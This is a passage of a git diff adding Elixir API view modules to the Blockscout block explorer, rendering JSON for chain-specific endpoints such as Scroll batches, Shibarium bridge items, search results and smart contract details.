=> batch.l2_transactions_count, + "sequence_transaction_hash" => sequence_transaction_hash, + "verify_transaction_hash" => verify_transaction_hash + } + end) + end + + def extend_transaction_json_response(out_json, %Transaction{} = transaction) do + extended_result = + out_json + |> add_optional_transaction_field(transaction, "zkevm_batch_number", :zkevm_batch, :number) + |> add_optional_transaction_field(transaction, "zkevm_sequence_hash", :zkevm_sequence_transaction, :hash) + |> add_optional_transaction_field(transaction, "zkevm_verify_hash", :zkevm_verify_transaction, :hash) + + Map.put(extended_result, "zkevm_status", zkevm_status(extended_result)) + end + + defp zkevm_status(result_map) do + if is_nil(Map.get(result_map, "zkevm_sequence_hash")) do + "Confirmed by Sequencer" + else + "L1 Confirmed" + end + end + + defp add_optional_transaction_field(out_json, transaction, out_field, association, association_field) do + case Map.get(transaction, association) do + nil -> out_json + %Ecto.Association.NotLoaded{} -> out_json + item -> Map.put(out_json, out_field, Map.get(item, association_field)) + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/proxy/metadata_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/proxy/metadata_view.ex new file mode 100644 index 000000000000..b8de924ade76 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/proxy/metadata_view.ex @@ -0,0 +1,13 @@ +defmodule BlockScoutWeb.API.V2.Proxy.MetadataView do + use BlockScoutWeb, :view + + alias BlockScoutWeb.API.V2.AddressView + + def render("addresses.json", %{result: {:ok, %{"items" => addresses} = body}}) do + Map.put(body, "items", Enum.map(addresses, &AddressView.prepare_address_for_list/1)) + end + + def render("addresses.json", %{result: :error}) do + %{error: "Decoding error"} + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/rootstock_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/rootstock_view.ex new file mode 100644 index 000000000000..06d4d8e68f21 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/rootstock_view.ex @@ -0,0 +1,19 @@ +defmodule BlockScoutWeb.API.V2.RootstockView do + alias Explorer.Chain.Block + + def extend_block_json_response(out_json, %Block{} = block) do + out_json + |> add_optional_transaction_field(block, :minimum_gas_price) + |> add_optional_transaction_field(block, :bitcoin_merged_mining_header) + |> add_optional_transaction_field(block, :bitcoin_merged_mining_coinbase_transaction) + |> add_optional_transaction_field(block, :bitcoin_merged_mining_merkle_proof) + |> add_optional_transaction_field(block, :hash_for_merged_mining) + end + + defp add_optional_transaction_field(out_json, block, field) do + case Map.get(block, field) do + nil -> out_json + value -> Map.put(out_json, Atom.to_string(field), value) + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/scroll_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/scroll_view.ex new file mode 100644 index 000000000000..4599c2a02a57 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/scroll_view.ex @@ -0,0 +1,218 @@ +defmodule BlockScoutWeb.API.V2.ScrollView do + use BlockScoutWeb, :view + + alias BlockScoutWeb.API.V2.TransactionView + alias Explorer.Chain.Scroll.{Batch, L1FeeParam, Reader} + alias Explorer.Chain.{Data, Transaction} + + @api_true [api?: true] + + @doc """ + Function to render GET requests to `/api/v2/scroll/deposits` and `/api/v2/scroll/withdrawals` endpoints. + """ + @spec render(binary(), map()) :: map() | non_neg_integer() + def render("scroll_bridge_items.json", %{ + items: items, + next_page_params: next_page_params, + type: type + }) do + %{ + items: + Enum.map(items, fn item -> + {origination_transaction_hash, completion_transaction_hash} = + if type == :deposits do + {item.l1_transaction_hash, item.l2_transaction_hash} + else + {item.l2_transaction_hash, item.l1_transaction_hash} + end + + %{ + "id" => item.index, + "origination_transaction_hash" => origination_transaction_hash, + "origination_timestamp" => item.block_timestamp, + "origination_transaction_block_number" => item.block_number, + "completion_transaction_hash" => completion_transaction_hash, + "value" => item.amount + } + end), + next_page_params: next_page_params + } + end + + @doc """ + Function to render GET requests to `/api/v2/scroll/deposits/count` and `/api/v2/scroll/withdrawals/count` endpoints. + """ + def render("scroll_bridge_items_count.json", %{count: count}) do + count + end + + @doc """ + Function to render GET requests to `/api/v2/scroll/batches/:number` endpoint. + """ + def render("scroll_batch.json", %{batch: batch}) do + render_batch(batch) + end + + @doc """ + Function to render GET requests to `/api/v2/scroll/batches` endpoint. + """ + def render("scroll_batches.json", %{ + batches: batches, + next_page_params: next_page_params + }) do + items = + batches + |> Enum.map(fn batch -> + Task.async(fn -> render_batch(batch) end) + end) + |> Task.yield_many(:infinity) + |> Enum.map(fn {_task, {:ok, item}} -> item end) + + %{ + items: items, + next_page_params: next_page_params + } + end + + @doc """ + Function to render GET requests to `/api/v2/scroll/batches/count` endpoint. + """ + def render("scroll_batches_count.json", %{count: count}) do + count + end + + # Transforms the batch info into a map format for HTTP response. + # + # ## Parameters + # - `batch`: An instance of `Explorer.Chain.Scroll.Batch` entry. + # + # ## Returns + # - A map with detailed information about the batch formatted for use + # in JSON HTTP response. + @spec render_batch(Batch.t()) :: map() + defp render_batch(batch) do + {finalize_block_number, finalize_transaction_hash, finalize_timestamp} = + if is_nil(batch.bundle) do + {nil, nil, nil} + else + {batch.bundle.finalize_block_number, batch.bundle.finalize_transaction_hash, batch.bundle.finalize_timestamp} + end + + {start_block_number, end_block_number, transactions_count} = + if is_nil(batch.l2_block_range) do + {nil, nil, nil} + else + { + batch.l2_block_range.from, + batch.l2_block_range.to, + Transaction.transaction_count_for_block_range(batch.l2_block_range.from..batch.l2_block_range.to) + } + end + + %{ + "number" => batch.number, + "commitment_transaction" => %{ + "block_number" => batch.commit_block_number, + "hash" => batch.commit_transaction_hash, + "timestamp" => batch.commit_timestamp + }, + "confirmation_transaction" => %{ + "block_number" => finalize_block_number, + "hash" => finalize_transaction_hash, + "timestamp" => finalize_timestamp + }, + "data_availability" => %{ + "batch_data_container" => batch.container + }, + "start_block_number" => start_block_number, + "end_block_number" => end_block_number, + "transactions_count" => transactions_count + } + end + + @doc """ + Extends the json output with a sub-map containing information related Scroll. + For pending transactions the output is not extended. + + ## Parameters + - `out_json`: A map defining output json which will be extended. + - `transaction`: Transaction structure containing Scroll related data + + ## Returns + - A map extended with the data related to Scroll rollup. + """ + @spec extend_transaction_json_response(map(), %{ + :__struct__ => Transaction, + :block_number => non_neg_integer() | nil, + :index => non_neg_integer(), + :input => Data.t(), + optional(any()) => any() + }) :: map() + def extend_transaction_json_response(out_json, %Transaction{block_number: nil}) do + # this is a pending transaction + out_json + end + + def extend_transaction_json_response(out_json, %Transaction{} = transaction) do + config = Application.get_all_env(:explorer)[L1FeeParam] + + l1_fee_scalar = get_param(:scalar, transaction, config) + l1_fee_commit_scalar = get_param(:commit_scalar, transaction, config) + l1_fee_blob_scalar = get_param(:blob_scalar, transaction, config) + l1_fee_overhead = get_param(:overhead, transaction, config) + l1_base_fee = get_param(:l1_base_fee, transaction, config) + l1_blob_base_fee = get_param(:l1_blob_base_fee, transaction, config) + + l1_gas_used = L1FeeParam.l1_gas_used(transaction, l1_fee_overhead) + + l2_fee = + transaction + |> Transaction.l2_fee(:wei) + |> TransactionView.format_fee() + + l2_block_status = l2_block_status(transaction.block_number) + + params = + %{} + |> add_optional_transaction_field(transaction, :l1_fee) + |> add_optional_transaction_field(transaction, :queue_index) + |> Map.put("l1_fee_scalar", l1_fee_scalar) + |> Map.put("l1_fee_commit_scalar", l1_fee_commit_scalar) + |> Map.put("l1_fee_blob_scalar", l1_fee_blob_scalar) + |> Map.put("l1_fee_overhead", l1_fee_overhead) + |> Map.put("l1_base_fee", l1_base_fee) + |> Map.put("l1_blob_base_fee", l1_blob_base_fee) + |> Map.put("l1_gas_used", l1_gas_used) + |> Map.put("l2_fee", l2_fee) + |> Map.put("l2_block_status", l2_block_status) + + Map.put(out_json, "scroll", params) + end + + defp add_optional_transaction_field(out_json, transaction, field) do + case Map.get(transaction, field) do + nil -> out_json + value -> Map.put(out_json, Atom.to_string(field), value) + end + end + + # sobelow_skip ["DOS.BinToAtom"] + defp get_param(name, transaction, config) + when name in [:scalar, :commit_scalar, :blob_scalar, :overhead, :l1_base_fee, :l1_blob_base_fee] do + name_init = :"#{name}#{:_init}" + + case Reader.get_l1_fee_param_for_transaction(name, transaction, @api_true) do + nil -> config[name_init] + value -> value + end + end + + @spec l2_block_status(non_neg_integer()) :: binary() + defp l2_block_status(block_number) do + case Reader.batch_by_l2_block_number(block_number, @api_true) do + {_batch_number, nil} -> "Committed" + {_batch_number, _bundle_id} -> "Finalized" + nil -> "Confirmed by Sequencer" + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/search_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/search_view.ex new file mode 100644 index 000000000000..c24b3ff18711 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/search_view.ex @@ -0,0 +1,221 @@ +defmodule BlockScoutWeb.API.V2.SearchView do + use BlockScoutWeb, :view + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias BlockScoutWeb.{BlockView, Endpoint} + alias Explorer.Chain + alias Explorer.Chain.{Address, Beacon.Blob, Block, Hash, Transaction, UserOperation} + alias Plug.Conn.Query + + def render("search_results.json", %{search_results: search_results, next_page_params: next_page_params}) do + %{ + "items" => search_results |> Enum.map(&prepare_search_result/1) |> chain_type_fields(), + "next_page_params" => next_page_params |> encode_next_page_params() + } + end + + def render("search_results.json", %{search_results: search_results}) do + search_results |> Enum.map(&prepare_search_result/1) |> chain_type_fields() + end + + def render("search_results.json", %{result: {:ok, result}}) do + Map.merge(%{"redirect" => true}, redirect_search_results(result)) + end + + def render("search_results.json", %{result: {:error, :not_found}}) do + %{"redirect" => false, "type" => nil, "parameter" => nil} + end + + def prepare_search_result(%{type: "token"} = search_result) do + %{ + "type" => search_result.type, + "name" => search_result.name, + "symbol" => search_result.symbol, + "address_hash" => search_result.address_hash, + "token_url" => token_path(Endpoint, :show, search_result.address_hash), + "address_url" => address_path(Endpoint, :show, search_result.address_hash), + "icon_url" => search_result.icon_url, + "token_type" => search_result.token_type, + "is_smart_contract_verified" => search_result.verified, + "exchange_rate" => search_result.exchange_rate && to_string(search_result.exchange_rate), + "total_supply" => search_result.total_supply, + "circulating_market_cap" => + search_result.circulating_market_cap && to_string(search_result.circulating_market_cap), + "is_verified_via_admin_panel" => search_result.is_verified_via_admin_panel, + "certified" => search_result.certified || false, + "priority" => search_result.priority, + "reputation" => search_result.reputation + } + end + + def prepare_search_result(%{type: "contract"} = search_result) do + %{ + "type" => search_result.type, + "name" => search_result.name, + "address_hash" => search_result.address_hash, + "url" => address_path(Endpoint, :show, search_result.address_hash), + "is_smart_contract_verified" => search_result.verified, + "ens_info" => search_result[:ens_info], + "certified" => if(search_result.certified, do: search_result.certified, else: false), + "priority" => search_result.priority, + "reputation" => search_result.reputation + } + end + + def prepare_search_result(%{type: address_or_contract_or_label} = search_result) + when address_or_contract_or_label in ["address", "label", "ens_domain"] do + %{ + "type" => search_result.type, + "name" => search_result.name, + "address_hash" => search_result.address_hash, + "url" => address_path(Endpoint, :show, search_result.address_hash), + "is_smart_contract_verified" => search_result.verified, + "ens_info" => search_result[:ens_info], + "certified" => if(search_result.certified, do: search_result.certified, else: false), + "priority" => search_result.priority, + "reputation" => search_result.reputation + } + end + + def prepare_search_result(%{type: "metadata_tag"} = search_result) do + %{ + "type" => search_result.type, + "name" => search_result.name, + "address_hash" => search_result.address_hash, + "url" => address_path(Endpoint, :show, search_result.address_hash), + "is_smart_contract_verified" => search_result.verified, + "ens_info" => search_result[:ens_info], + "certified" => if(search_result.certified, do: search_result.certified, else: false), + "priority" => search_result.priority, + "metadata" => search_result.metadata, + "reputation" => search_result.reputation + } + end + + def prepare_search_result(%{type: "block"} = search_result) do + {:ok, block} = + Chain.hash_to_block(hash(search_result.block_hash), + necessity_by_association: %{ + :nephews => :optional + }, + api?: true + ) + + %{ + "type" => search_result.type, + "block_number" => search_result.block_number, + "block_hash" => block.hash, + "url" => block_path(Endpoint, :show, block.hash), + "timestamp" => search_result.timestamp, + "block_type" => block |> BlockView.block_type() |> String.downcase(), + "priority" => search_result.priority + } + end + + def prepare_search_result(%{type: "transaction"} = search_result) do + transaction_hash = hash_to_string(search_result.transaction_hash) + + %{ + "type" => search_result.type, + "transaction_hash" => transaction_hash, + "url" => transaction_path(Endpoint, :show, transaction_hash), + "timestamp" => search_result.timestamp, + "priority" => search_result.priority + } + end + + def prepare_search_result(%{type: "user_operation"} = search_result) do + %{ + "type" => search_result.type, + "user_operation_hash" => hash_to_string(search_result.user_operation_hash), + "timestamp" => search_result.timestamp, + "priority" => search_result.priority + } + end + + def prepare_search_result(%{type: "blob"} = search_result) do + %{ + "type" => search_result.type, + "blob_hash" => hash_to_string(search_result.blob_hash), + "timestamp" => search_result.timestamp, + "priority" => search_result.priority + } + end + + def prepare_search_result(%{type: "tac_operation"} = search_result) do + %{ + "type" => search_result.type, + "tac_operation" => search_result.tac_operation, + "priority" => search_result.priority + } + end + + defp hash_to_string(%Hash{} = hash), do: to_string(hash) + + defp hash_to_string(bytes) do + {:ok, hash} = Hash.Full.cast(bytes) + to_string(hash) + end + + defp hash(%Hash{} = hash), do: hash + + defp hash(bytes), + do: %Hash{ + byte_count: 32, + bytes: bytes + } + + defp redirect_search_results(%Address{} = item) do + %{"type" => "address", "parameter" => Address.checksum(item.hash)} + end + + defp redirect_search_results(%{address_hash: address_hash}) do + %{"type" => "address", "parameter" => address_hash} + end + + defp redirect_search_results(%Block{} = item) do + %{"type" => "block", "parameter" => to_string(item.hash)} + end + + defp redirect_search_results(%Transaction{} = item) do + %{"type" => "transaction", "parameter" => to_string(item.hash)} + end + + defp redirect_search_results(%UserOperation{} = item) do + %{"type" => "user_operation", "parameter" => to_string(item.hash)} + end + + defp redirect_search_results(%Blob{} = item) do + %{"type" => "blob", "parameter" => to_string(item.hash)} + end + + case @chain_type do + :filecoin -> + defp chain_type_fields(result) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.FilecoinView.preload_and_put_filecoin_robust_address_to_search_results(result) + end + + _ -> + defp chain_type_fields(result) do + result + end + end + + defp encode_next_page_params(next_page_params) when is_map(next_page_params) do + result = + next_page_params + |> Query.encode() + |> URI.decode_query() + |> Enum.map(fn {k, v} -> + {k, unless(v == "", do: v)} + end) + |> Enum.into(%{}) + + unless result == %{} do + result + end + end + + defp encode_next_page_params(next_page_params), do: next_page_params +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/shibarium_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/shibarium_view.ex new file mode 100644 index 000000000000..de9101961f8a --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/shibarium_view.ex @@ -0,0 +1,71 @@ +defmodule BlockScoutWeb.API.V2.ShibariumView do + use BlockScoutWeb, :view + + alias BlockScoutWeb.API.V2.Helper + alias Explorer.Chain + + @spec render(String.t(), map()) :: map() + def render("shibarium_deposits.json", %{ + deposits: deposits, + next_page_params: next_page_params, + conn: conn + }) do + user_addresses = get_user_addresses(deposits, conn) + + %{ + items: + Enum.map(deposits, fn deposit -> + %{ + "l1_block_number" => deposit.l1_block_number, + "l1_transaction_hash" => deposit.l1_transaction_hash, + "l2_transaction_hash" => deposit.l2_transaction_hash, + "user" => Map.get(user_addresses, deposit.user, deposit.user), + "timestamp" => deposit.timestamp + } + end), + next_page_params: next_page_params + } + end + + def render("shibarium_withdrawals.json", %{ + withdrawals: withdrawals, + next_page_params: next_page_params, + conn: conn + }) do + user_addresses = get_user_addresses(withdrawals, conn) + + %{ + items: + Enum.map(withdrawals, fn withdrawal -> + %{ + "l2_block_number" => withdrawal.l2_block_number, + "l2_transaction_hash" => withdrawal.l2_transaction_hash, + "l1_transaction_hash" => withdrawal.l1_transaction_hash, + "user" => Map.get(user_addresses, withdrawal.user, withdrawal.user), + "timestamp" => withdrawal.timestamp + } + end), + next_page_params: next_page_params + } + end + + def render("shibarium_items_count.json", %{count: count}) do + count + end + + defp get_user_addresses(items, conn) do + items + |> Enum.map(& &1.user) + |> Enum.reject(&is_nil(&1)) + |> Enum.uniq() + |> Chain.hashes_to_addresses( + necessity_by_association: %{ + :names => :optional, + :smart_contract => :optional, + proxy_implementations_association() => :optional + }, + api?: true + ) + |> Enum.into(%{}, &{&1.hash, Helper.address_with_info(conn, &1, &1.hash, true)}) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/smart_contract_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/smart_contract_view.ex new file mode 100644 index 000000000000..1ee8ae9eefba --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/smart_contract_view.ex @@ -0,0 +1,427 @@ +defmodule BlockScoutWeb.API.V2.SmartContractView do + use BlockScoutWeb, :view + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + import Explorer.SmartContract.Reader, only: [zip_tuple_values_with_types: 2] + + alias ABI.FunctionSelector + alias BlockScoutWeb.API.V2.Helper, as: APIV2Helper + alias BlockScoutWeb.API.V2.TransactionView + alias BlockScoutWeb.{AddressContractView, SmartContractView} + alias Ecto.Changeset + alias Explorer.Chain + alias Explorer.Chain.{Address, SmartContract, SmartContractAdditionalSource} + alias Explorer.Chain.SmartContract.Proxy + alias Explorer.Visualize.Sol2uml + + require Logger + + @api_true [api?: true] + + def render("smart_contracts.json", %{addresses: addresses, next_page_params: next_page_params}) do + %{ + "items" => Enum.map(addresses, &prepare_smart_contract_address_for_list/1), + "next_page_params" => next_page_params + } + end + + def render("smart_contract.json", %{address: address, conn: conn}) do + prepare_smart_contract(address, conn) + end + + def render("read_functions.json", %{functions: functions}) do + Enum.map(functions, &prepare_read_function/1) + end + + def render("function_response.json", %{output: output, names: names, contract_address_hash: contract_address_hash}) do + prepare_function_response(output, names, contract_address_hash) + end + + def render("changeset_errors.json", %{changeset: changeset}) do + Changeset.traverse_errors(changeset, fn {msg, opts} -> + Regex.replace(~r"%{(\w+)}", msg, fn _, key -> + opts |> Keyword.get(String.to_existing_atom(key), key) |> to_string() + end) + end) + end + + def render("audit_reports.json", %{reports: reports}) do + %{"items" => Enum.map(reports, &prepare_audit_report/1), "next_page_params" => nil} + end + + defp prepare_audit_report(report) do + %{ + "audit_company_name" => report.audit_company_name, + "audit_report_url" => report.audit_report_url, + "audit_publish_date" => report.audit_publish_date + } + end + + def prepare_function_response(outputs, names, contract_address_hash) do + case outputs do + {:error, %{code: code, message: message, data: _data} = error} -> + revert_reason = Chain.parse_revert_reason_from_error(error) + + case SmartContractView.decode_revert_reason(contract_address_hash, revert_reason, @api_true) do + {:ok, method_id, text, mapping} -> + %{ + result: + render(TransactionView, "decoded_input.json", + method_id: method_id, + text: text, + mapping: mapping, + error?: true + ), + is_error: true + } + + {:error, _contract_verified, []} -> + %{ + result: + Map.merge(render(TransactionView, "revert_reason.json", raw: revert_reason), %{ + code: code, + message: message + }), + is_error: true + } + + {:error, _contract_verified, candidates} -> + {:ok, method_id, text, mapping} = Enum.at(candidates, 0) + + %{ + result: + render(TransactionView, "decoded_input.json", + method_id: method_id, + text: text, + mapping: mapping, + error?: true + ), + is_error: true + } + + _ -> + %{ + result: + Map.merge(render(TransactionView, "revert_reason.json", raw: revert_reason), %{ + code: code, + message: message + }), + is_error: true + } + end + + {:error, %{code: code, message: message}} -> + %{result: %{code: code, message: message}, is_error: true} + + {:error, error} -> + %{result: %{error: error}, is_error: true} + + _ -> + %{result: %{output: Enum.map(outputs, &render_json/1), names: names}, is_error: false} + end + end + + def prepare_read_function(function) do + case function["outputs"] do + {:error, text_error} -> + function + |> Map.put("error", text_error) + |> Map.replace("outputs", function["abi_outputs"]) + |> Map.drop(["abi_outputs"]) + + nil -> + function + + _ -> + result = + function + |> Map.drop(["abi_outputs"]) + + outputs = result["outputs"] |> Enum.map(&prepare_output/1) + Map.replace(result, "outputs", outputs) + end + end + + defp prepare_output(%{"type" => type, "value" => value} = output) do + Map.replace(output, "value", render_json(value, type)) + end + + defp prepare_output(output), do: output + + # credo:disable-for-next-line + defp prepare_smart_contract( + %Address{smart_contract: %SmartContract{} = smart_contract, proxy_implementations: implementations} = address, + _conn + ) do + smart_contract_verified = APIV2Helper.smart_contract_verified?(address) + + bytecode_twin_contract = + if smart_contract_verified, + do: nil, + else: address.smart_contract + + additional_sources = + get_additional_sources( + smart_contract, + smart_contract_verified, + bytecode_twin_contract + ) + + fully_verified = SmartContract.verified_with_full_match?(address.hash, @api_true) + visualize_sol2uml_enabled = Sol2uml.enabled?() + + proxy_type = implementations && implementations.proxy_type + + minimal_proxy? = proxy_type in [:eip1167, :eip7702, :clone_with_immutable_arguments, :erc7760] + + target_contract = + if smart_contract_verified, do: smart_contract, else: bytecode_twin_contract + + # don't return verified_bytecode_twin_address_hash if smart contract is verified or minimal proxy + verified_bytecode_twin_address_hash = + (!smart_contract_verified && !minimal_proxy? && + bytecode_twin_contract && Address.checksum(bytecode_twin_contract.verified_bytecode_twin_address_hash)) || nil + + smart_contract_verified_via_sourcify = smart_contract_verified && smart_contract.verified_via_sourcify + + %{ + "verified_twin_address_hash" => verified_bytecode_twin_address_hash, + "is_verified" => smart_contract_verified, + "is_changed_bytecode" => smart_contract_verified && smart_contract.is_changed_bytecode, + "is_partially_verified" => smart_contract_verified && smart_contract.partially_verified, + "is_fully_verified" => fully_verified, + "is_verified_via_sourcify" => smart_contract_verified_via_sourcify, + "is_verified_via_eth_bytecode_db" => smart_contract.verified_via_eth_bytecode_db, + "is_verified_via_verifier_alliance" => smart_contract.verified_via_verifier_alliance, + "proxy_type" => proxy_type, + "implementations" => Proxy.proxy_object_info(implementations), + "conflicting_implementations" => Proxy.conflicting_implementations_info(implementations), + "sourcify_repo_url" => + if(smart_contract_verified_via_sourcify, + do: AddressContractView.sourcify_repo_url(address.hash, smart_contract.partially_verified) + ), + "can_be_visualized_via_sol2uml" => + visualize_sol2uml_enabled && target_contract && SmartContract.language(target_contract) == :solidity, + "name" => target_contract && target_contract.name, + "compiler_version" => target_contract && target_contract.compiler_version, + "optimization_enabled" => target_contract && target_contract.optimization, + "optimization_runs" => target_contract && target_contract.optimization_runs, + "evm_version" => target_contract && target_contract.evm_version, + "verified_at" => target_contract && target_contract.inserted_at, + "abi" => target_contract && target_contract.abi, + "source_code" => target_contract && target_contract.contract_source_code, + "file_path" => target_contract && target_contract.file_path, + "additional_sources" => Enum.map(additional_sources, &prepare_additional_source/1), + "compiler_settings" => target_contract && target_contract.compiler_settings, + "external_libraries" => (target_contract && prepare_external_libraries(target_contract.external_libraries)) || [], + "constructor_args" => if(smart_contract_verified, do: smart_contract.constructor_arguments), + "decoded_constructor_args" => + if(smart_contract_verified, + do: SmartContract.format_constructor_arguments(smart_contract.abi, smart_contract.constructor_arguments) + ), + "language" => SmartContract.language(smart_contract), + "license_type" => smart_contract.license_type, + "certified" => if(smart_contract.certified, do: smart_contract.certified, else: false), + "is_blueprint" => if(smart_contract.is_blueprint, do: smart_contract.is_blueprint, else: false) + } + |> Map.merge(bytecode_info(address)) + |> chain_type_fields( + %{ + address_hash: verified_bytecode_twin_address_hash, + field_prefix: "verified_twin", + target_contract: target_contract + }, + true + ) + end + + defp prepare_smart_contract(%Address{proxy_implementations: implementations} = address, _conn) do + %{ + "proxy_type" => implementations && implementations.proxy_type, + "implementations" => Proxy.proxy_object_info(implementations), + "conflicting_implementations" => Proxy.conflicting_implementations_info(implementations) + } + |> Map.merge(bytecode_info(address)) + end + + @doc """ + Returns additional sources of the smart-contract or from its bytecode twin + """ + @spec get_additional_sources(SmartContract.t(), boolean, SmartContract.t() | nil) :: + [SmartContractAdditionalSource.t()] + def get_additional_sources(%{smart_contract_additional_sources: original_smart_contract_additional_sources}, true, _) + when is_list(original_smart_contract_additional_sources) do + original_smart_contract_additional_sources + end + + def get_additional_sources(_, false, %{ + smart_contract_additional_sources: bytecode_twin_smart_contract_additional_sources + }) + when is_list(bytecode_twin_smart_contract_additional_sources) do + bytecode_twin_smart_contract_additional_sources + end + + def get_additional_sources(_smart_contract, _smart_contract_verified, _bytecode_twin_contract), do: [] + + defp bytecode_info(address) do + case AddressContractView.contract_creation_code(address) do + {:selfdestructed, init} -> + %{ + "deployed_bytecode" => nil, + "creation_bytecode" => init, + "creation_status" => "selfdestructed" + } + + {:failed, creation_code} -> + %{ + "deployed_bytecode" => "0x", + "creation_bytecode" => creation_code, + "creation_status" => "failed" + } + + {:ok, contract_code} -> + %{ + "deployed_bytecode" => contract_code, + "creation_bytecode" => AddressContractView.creation_code(address), + "creation_status" => "success" + } + end + end + + defp prepare_external_libraries(libraries) when is_list(libraries) do + Enum.map(libraries, fn %Explorer.Chain.SmartContract.ExternalLibrary{name: name, address_hash: address_hash} -> + {:ok, hash} = Chain.string_to_address_hash(address_hash) + + %{name: name, address_hash: Address.checksum(hash)} + end) + end + + defp prepare_additional_source(source) do + %{ + "source_code" => source.contract_source_code, + "file_path" => source.file_name + } + end + + defp prepare_smart_contract_address_for_list( + %Address{ + smart_contract: %SmartContract{} = smart_contract, + token: token, + reputation: reputation + } = address + ) do + smart_contract_info = + %{ + "address" => APIV2Helper.address_with_info(nil, address, address.hash, false), + "compiler_version" => smart_contract.compiler_version, + "optimization_enabled" => smart_contract.optimization, + "transactions_count" => address.transactions_count, + "language" => SmartContract.language(smart_contract), + "verified_at" => smart_contract.inserted_at, + "market_cap" => token && token.circulating_market_cap, + "has_constructor_args" => !is_nil(smart_contract.constructor_arguments), + "coin_balance" => if(address.fetched_coin_balance, do: address.fetched_coin_balance.value), + "license_type" => smart_contract.license_type, + "certified" => if(smart_contract.certified, do: smart_contract.certified, else: false), + "reputation" => reputation + } + + smart_contract_info + |> chain_type_fields( + %{target_contract: smart_contract}, + false + ) + end + + def render_json(%{"type" => type, "value" => value}) do + %{"type" => type, "value" => render_json(value, type)} + end + + def render_json(value, type) when is_tuple(value) do + value + |> zip_tuple_values_with_types(type) + |> Enum.map(fn {type, value} -> + render_json(value, type) + end) + end + + def render_json(value, type) when is_list(value) and is_tuple(type) do + item_type = + case type do + {:array, item_type, _} -> item_type + {:array, item_type} -> item_type + end + + value |> Enum.map(&render_json(&1, item_type)) + end + + def render_json(value, type) when is_list(value) and not is_tuple(type) do + sanitized_type = + case type do + "tuple[" <> rest -> + # we need to convert tuple[...][] or tuple[...][n] into (...)[] or (...)[n] + # before sending it to the `FunctionSelector.decode_type/1`. See https://github.com/poanetwork/ex_abi/issues/168. + tuple_item_types = + rest + |> String.split("]") + |> Enum.slice(0..-3//1) + |> Enum.join("]") + + array_str = "[" <> (rest |> String.split("[") |> List.last()) + + "(" <> tuple_item_types <> ")" <> array_str + + _ -> + type + end + + item_type = + case FunctionSelector.decode_type(sanitized_type) do + {:array, item_type, _} -> item_type + {:array, item_type} -> item_type + end + + value |> Enum.map(&render_json(&1, item_type)) + end + + def render_json(value, type) when type in [:address, "address", "address payable"] do + SmartContractView.cast_address(value) + end + + def render_json(value, type) when type in [:string, "string"] do + to_string(value) + end + + def render_json(value, _type) do + to_string(value) + end + + case @chain_type do + :filecoin -> + defp chain_type_fields(result, params, true) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.FilecoinView.preload_and_put_filecoin_robust_address(result, params) + end + + defp chain_type_fields(result, _params, false), + do: result + + :arbitrum -> + defp chain_type_fields(result, %{target_contract: target_contract}, _single?) do + result + |> Map.put("package_name", target_contract.package_name) + |> Map.put("github_repository_metadata", target_contract.github_repository_metadata) + end + + :zksync -> + defp chain_type_fields(result, %{target_contract: target_contract}, _single?) do + result + |> Map.put("zk_compiler_version", target_contract.zk_compiler_version) + end + + _ -> + defp chain_type_fields(result, _params, _single?) do + result + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/stability_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/stability_view.ex new file mode 100644 index 000000000000..14176e656a6b --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/stability_view.ex @@ -0,0 +1,134 @@ +defmodule BlockScoutWeb.API.V2.StabilityView do + alias BlockScoutWeb.API.V2.{Helper, TokenView} + alias Explorer.Chain.{Address.Reputation, Log, Token, Transaction} + + @api_true [api?: true] + @transaction_fee_event_signature "0x99e7b0ba56da2819c37c047f0511fd2bf6c9b4e27b4a979a19d6da0f74be8155" + @transaction_fee_event_abi [ + %{ + "anonymous" => false, + "inputs" => [ + %{ + "indexed" => false, + "internalType" => "address", + "name" => "token", + "type" => "address" + }, + %{ + "indexed" => false, + "internalType" => "uint256", + "name" => "totalFee", + "type" => "uint256" + }, + %{ + "indexed" => false, + "internalType" => "address", + "name" => "validator", + "type" => "address" + }, + %{ + "indexed" => false, + "internalType" => "uint256", + "name" => "validatorFee", + "type" => "uint256" + }, + %{ + "indexed" => false, + "internalType" => "address", + "name" => "dapp", + "type" => "address" + }, + %{ + "indexed" => false, + "internalType" => "uint256", + "name" => "dappFee", + "type" => "uint256" + } + ], + "name" => "TransactionFee", + "type" => "event" + } + ] + + def extend_transaction_json_response(out_json, %Transaction{} = transaction) do + case transaction.transaction_fee_log do + [ + {"token", "address", false, token_address_hash}, + {"totalFee", "uint256", false, total_fee}, + {"validator", "address", false, validator_address_hash}, + {"validatorFee", "uint256", false, validator_fee}, + {"dapp", "address", false, dapp_address_hash}, + {"dappFee", "uint256", false, dapp_fee} + ] -> + stability_fee = %{ + "token" => + TokenView.render("token.json", %{ + token: transaction.transaction_fee_token, + contract_address_hash: Transaction.bytes_to_address_hash(token_address_hash) + }), + "validator_address" => + Helper.address_with_info(nil, nil, Transaction.bytes_to_address_hash(validator_address_hash), false), + 